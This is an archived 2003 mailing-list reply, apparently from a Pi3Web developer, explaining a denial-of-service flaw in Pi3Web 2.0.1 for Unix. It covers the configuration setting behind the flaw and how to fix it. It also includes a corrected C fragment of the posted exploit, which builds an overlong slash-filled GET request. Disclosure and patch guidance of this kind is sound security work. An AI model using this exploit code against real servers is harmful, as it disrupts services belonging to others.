('binary' encoding is not supported, stored as-is) In-Reply-To: <20030512154945.29319.qmailat_private> The vulnerability exists in Unix version of Pi3Web 2.0.1 only, which use the one of the following configuration files shipped with the binary distributions for Linux or Solaris : /usr/local/Pi3Web/Conf/Devel.pi3 /usr/local/Pi3Web/Conf/Features.pi3 Note, that the configuration file intended to use with a production internet server is NOT vulnerable : /usr/local/Pi3Web/Conf/Internet.pi3 Note, that the configuration file intended to use with Windows servers is also vulnerable but not relevant on unix : /usr/local/Pi3Web/Conf/Config.pi3 The problem itself is caused by the PathInfo="Yes" parameter in the following configuration objects: # # Override some mappings for Host2 only # <Object> Name Host2Mappings Class FlexibleHandlerClass # # These mappings only apply to Host2 # Condition "&cmp($o,Host2)" # # map to second document root # Mapping PathMapper From="/" To="WebRoot2/" PathInfo="Yes" </Object> # # Host1 mappings # <Object> Name Host1Mappings Class FlexibleHandlerClass # # These mappings only apply to MainVirtualHostInformation # Condition "&cmp($o,MainVirtualHostInformation)" # # map to first document root # Mapping PathMapper From="/" To="WebRoot/" PathInfo="Yes" </Object> Remove both occurances of the PathInfo="Yes" from the configuration and restart the server in order to fix the reported issue. Earlier Unix versions than 2.01 are NOT vulnerable. Win32 versions are NOT vulnerable, because the parameter has been added in version 2.0.1 only and a related patch for the administration client is available, which corrects this problem in the same manner : http://sourceforge.net/tracker/download.php?group_id=17753&atid=317753&file_id=47258&aid=718552 Another remark: the sample code for the exploit is not correct : 1.) the buffer with the request string is not finished with '\0'. 2.) the constructed request is only HTTP/0.9, because the protocol version is missing in the message. The current program will generate a malicious request but I think the intended behaviour is rather to send a valid HTTP message containing a malicious URI path. A proposed enhancement of the exploit looks like: int main(int argc, char **argv) { int i, port, sd, rc; char buffer[356]; char packet[380]; struct sockaddr_in server; if(argc > 3 || argc < 2) { printf("USAGE: %s IP PORT\n", argv[0]); printf("e.g. ./pi3web-DoS 127.0.0.1 80\n"); exit(0); } if(argc == 2) port = 80; else port = atoi(argv[2]); //Build the malformed request for(i = 0; i < 355; i++) buffer[i] = '/'; buffer[i] = 0; sprintf(packet, "GET %s HTTP/1.0\n\n", buffer); The original code generates requests like: GET //////...///////¿˜ @f@P The enhanced code generates requests like: GET //////.../////// HTTP/1.0 -- regards Holger Zimmermann
This archive was generated by hypermail 2b30 : Sun Jun 01 2003 - 13:11:27 PDT